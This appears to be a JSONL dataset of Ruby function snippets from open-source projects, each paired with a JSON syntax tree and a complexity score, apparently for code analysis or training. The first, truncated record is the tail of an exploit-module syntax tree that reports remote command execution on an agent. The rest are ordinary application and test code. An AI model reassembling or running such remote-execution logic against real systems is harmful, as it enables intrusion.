\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_script_in_agent\",{\"type\":\"ivar\",\"children\":[\"@agent_name\"]},{\"type\":\"ivar\",\"children\":[\"@script_name\"]}]},{\"type\":\"send\",\"children\":[null,\"report_service_and_vuln\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Execution command: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rce_command\"]}]},{\"type\":\"str\",\"children\":[\"' on agent: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_name\"]}]}]}]}]}]}","id":"7b8ebb33-c579-40f8-a8a5-712f99dcf8ed"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/report_helper.rb","start_line":91,"raw_source":"def avg_resolution_time_summary\n    reporting_events = scope.reporting_events\n                            .where(name: 'conversation_resolved', account_id: account.id, created_at: range)\n    avg_rt = if params[:business_hours].present?\n               reporting_events.average(:value_in_business_hours)\n             else\n               reporting_events.average(:value)\n             end\n\n    return 0 if avg_rt.blank?\n\n    avg_rt\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"avg_resolution_time_summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reporting_events\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"reporting_events\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"conversation_resolved\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"range\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"avg_rt\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"business_hours\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reporting_events\"]},\"average\",{\"type\":\"sym\",\"children\":[\"value_in_business_hours\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reporting_events\"]},\"average\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avg_rt\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"lvar\",\"children\":[\"avg_rt\"]}]}]}","id":"abba3192-1cdf-4b90-b06b-6b31743a98a6"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute.rb","start_line":78,"raw_source":"def with_value_from_user(value)\n      type.assert_valid_value(value)\n      self.class.from_user(name, value, type, original_attribute || self)\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_value_from_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"assert_valid_value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"from_user\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"type\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_attribute\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"e324315d-a46e-4817-9e18-af13dce5e591"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/authorizations_controller.rb","start_line":154,"raw_source":"def disallow_connect?\n    # we're disabling Cop/UserAdmin as OAuth tokens don't seem to respect admin mode\n    current_user&.admin? && Gitlab::CurrentSettings.disable_admin_oauth_scopes && dangerous_scopes? # rubocop:disable Cop/UserAdmin\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"disallow_connect?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"admin?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"disable_admin_oauth_scopes\"]}]},{\"type\":\"send\",\"children\":[null,\"dangerous_scopes?\"]}]}]}","id":"69039b76-8d1d-4d82-86a1-9d2a604bb513"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/numericality_validation_test.rb","start_line":322,"raw_source":"def test_validates_numericality_with_object_acting_as_numeric\n    klass = Class.new do\n      def to_f\n        123.54\n      end\n    end\n\n    Topic.validates_numericality_of :price\n    topic = Topic.new(price: klass.new)\n\n    assert_predicate topic, :valid?\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_numericality_with_object_acting_as_numeric\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"to_f\",{\"type\":\"args\",\"children\":[]},{\"type\":\"float\",\"children\":[123.54]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_numericality_of\",{\"type\":\"sym\",\"children\":[\"price\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"93de1871-066a-4213-9ed9-f4a510fddd6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/projects/fork_details_resolver.rb","start_line":14,"raw_source":"def resolve(**args)\n        return unless project.forked?\n        return unless authorized_fork_source?\n\n        ::Projects::Forks::Details.new(project, args[:ref])\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"forked?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_fork_source?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"Forks\"]},\"Details\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref\"]}]}]}]}]}","id":"2b88d614-5cc2-41e0-9d78-e2ea9ead7d26"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/negated_if_else_condition.rb","start_line":97,"raw_source":"def correct_negated_condition(corrector, node)\n          replacement =\n            if node.negation_method?\n              node.receiver.source\n            else\n              inverted_method = node.method_name.to_s.sub('!', '=')\n              \"#{node.receiver.source} #{inverted_method} #{node.first_argument.source}\"\n            end\n\n          corrector.replace(node, replacement)\n        end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_negated_condition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"negation_method?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"source\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inverted_method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]},\"to_s\"]},\"sub\",{\"type\":\"str\",\"children\":[\"!\"]},{\"type\":\"str\",\"children\":[\"=\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inverted_method\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},\"source\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}","id":"a729a14b-dd2d-4c70-8a57-97930fe8c66e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin/targets.rb","start_line":18,"raw_source":"def perf_capture_enabled?\n    @perf_capture_enabled ||= (perf_capture_always? || is_tagged_with?(\"capture_enabled\", :ns => \"/performance\"))\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_capture_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@perf_capture_enabled\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perf_capture_always?\"]},{\"type\":\"send\",\"children\":[null,\"is_tagged_with?\",{\"type\":\"str\",\"children\":[\"capture_enabled\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"str\",\"children\":[\"/performance\"]}]}]}]}]}]}]}]}","id":"ff30e963-ff9b-4769-b69f-f3b2ee22602b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_lfs_file_references.rb","start_line":66,"raw_source":"def log_info(msg)\n        logger.info(\"#{'[DRY RUN] ' if dry_run}#{msg}\")\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dry_run\"]},{\"type\":\"str\",\"children\":[\"[DRY RUN] \"]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"1da7961b-2935-49f4-9343-563a7d147288"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tool_runner.rb","start_line":38,"raw_source":"def mini_racer_context\n        @mini_racer_context ||=\n          begin\n            ctx =\n              MiniRacer::Context.new(\n                max_memory: MAX_MEMORY,\n                marshal_stack_depth: MARSHAL_STACK_DEPTH,\n              )\n            attach_truncate(ctx)\n            attach_http(ctx)\n            attach_index(ctx)\n            attach_upload(ctx)\n            attach_chain(ctx)\n            attach_sleep(ctx)\n            attach_discourse(ctx)\n            ctx.eval(framework_script)\n            ctx\n          end\n      end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"mini_racer_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mini_racer_context\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ctx\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiniRacer\"]},\"Context\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_memory\"]},{\"type\":\"const\",\"children\":[null,\"MAX_MEMORY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"marshal_stack_depth\"]},{\"type\":\"const\",\"children\":[null,\"MARSHAL_STACK_DEPTH\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"attach_truncate\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_http\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_index\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_upload\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_chain\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_sleep\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_discourse\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"eval\",{\"type\":\"send\",\"children\":[null,\"framework_script\"]}]},{\"type\":\"lvar\",\"children\":[\"ctx\"]}]}]}]}","id":"5f4981e5-e430-4ba7-8302-14e7ea1ea3a3"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":1340,"raw_source":"def set_all_dates\n    set_crossposted_at\n    set_last_comment_at\n    set_nth_published_at\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_all_dates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_crossposted_at\"]},{\"type\":\"send\",\"children\":[null,\"set_last_comment_at\"]},{\"type\":\"send\",\"children\":[null,\"set_nth_published_at\"]}]}]}","id":"6f551ccf-c505-464d-881d-7b8e0495a724"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/mem_cache_store_test.rb","start_line":339,"raw_source":"def test_can_load_raw_falsey_values_from_dalli_store\n    key = \"test-with-false-value-the-way-the-dalli-store-did\"\n\n    @cache.instance_variable_get(:@data).with { |c| c.set(@cache.send(:normalize_key, key, nil), false, 0, compress: false) }\n    assert_nil @cache.read(key)\n    assert_equal false, @cache.fetch(key) { false }\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_can_load_raw_falsey_values_from_dalli_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"str\",\"children\":[\"test-with-false-value-the-way-the-dalli-store-did\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@data\"]}]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"send\",{\"type\":\"sym\",\"children\":[\"normalize_key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compress\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"f0adceb8-9041-4ecb-9336-64e584120431"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/queue/metrics.rb","start_line":88,"raw_source":"def observe_queue_size(size_proc, runner_type)\n          return unless Feature.enabled?(:gitlab_ci_builds_queuing_metrics, type: :ops)\n\n          size = size_proc.call.to_f\n          self.class.queue_size_total.observe({ runner_type: runner_type }, size)\n          self.class.current_queue_size.set({ runner_type: runner_type }, size)\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"observe_queue_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size_proc\"]},{\"type\":\"arg\",\"children\":[\"runner_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"gitlab_ci_builds_queuing_metrics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size_proc\"]},\"call\"]},\"to_f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"queue_size_total\"]},\"observe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_type\"]},{\"type\":\"lvar\",\"children\":[\"runner_type\"]}]}]},{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"current_queue_size\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_type\"]},{\"type\":\"lvar\",\"children\":[\"runner_type\"]}]}]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}","id":"e5a6a53e-dcee-4807-9825-3f3da16d6a47"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/base_processor_service.rb","start_line":69,"raw_source":"def store_external_id(contact, external_id)\n    # Initialize additional_attributes if it's nil\n    contact.additional_attributes = {} if contact.additional_attributes.nil?\n\n    # Initialize external hash if it doesn't exist\n    contact.additional_attributes['external'] = {} if contact.additional_attributes['external'].blank?\n\n    # Store the external ID\n    contact.additional_attributes['external'][\"#{crm_name}_id\"] = external_id\n    contact.save!\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"store_external_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contact\"]},{\"type\":\"arg\",\"children\":[\"external_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"additional_attributes\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"additional_attributes=\",{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"additional_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"external\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"additional_attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"external\"]},{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"additional_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"external\"]}]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"crm_name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"lvar\",\"children\":[\"external_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"save!\"]}]}]}","id":"c1222e84-3737-4ccb-9807-d722fee50008"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/login_service.rb","start_line":105,"raw_source":"def retain_session_values\n      # retain flash values\n      flash_values = controller.flash.to_h\n\n      # retain session values\n      retained_session = retained_session_values || {}\n\n      yield\n\n      flash_values.each { |k, v| controller.flash[k] = v }\n\n      session.merge!(retained_session)\n      session.merge!(session_identification)\n      apply_default_values(session)\n    end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"retain_session_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flash_values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"flash\"]},\"to_h\"]}]},{\"type\":\"lvasgn\",\"children\":[\"retained_session\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retained_session_values\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flash_values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"flash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"retained_session\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"session_identification\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_default_values\",{\"type\":\"send\",\"children\":[null,\"session\"]}]}]}]}","id":"e7c0ed37-571f-4e82-86af-7b2d01b2ddfb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/jsobfu.rb","start_line":101,"raw_source":"def save_as(js, outfile)\n      File.open(outfile, 'wb') do |f|\n        f.write(js)\n      end\n\n      $stderr.puts\n      $stderr.puts \"File saved as: #{outfile}\"\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"save_as\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"js\"]},{\"type\":\"arg\",\"children\":[\"outfile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"outfile\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"js\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File saved as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outfile\"]}]}]}]}]}]}","id":"0b998211-0c3f-44db-a432-1c884e583600"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/interactors/connectors/execute_model.rb","start_line":7,"raw_source":"def call\n      result = context.connector.generate_response(context.payload)\n      context.records = result\n    rescue StandardError => e\n      Utils::ExceptionReporter.report(e)\n      context.fail!(error: e.message)\n    end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"connector\"]},\"generate_response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"records=\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"ExceptionReporter\"]},\"report\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},null]}]}","id":"334fa76b-6f6e-4d3a-80a5-0356c7c2279f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host.rb","start_line":275,"raw_source":"def caught_up?(location)\n          lag = replication_lag_size(location)\n          lag.present? && lag.to_i <= 0\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"caught_up?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lag\",{\"type\":\"send\",\"children\":[null,\"replication_lag_size\",{\"type\":\"lvar\",\"children\":[\"location\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lag\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lag\"]},\"to_i\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"141bdf77-f5c5-4f04-a8f2-70c8f8bc66ad"}
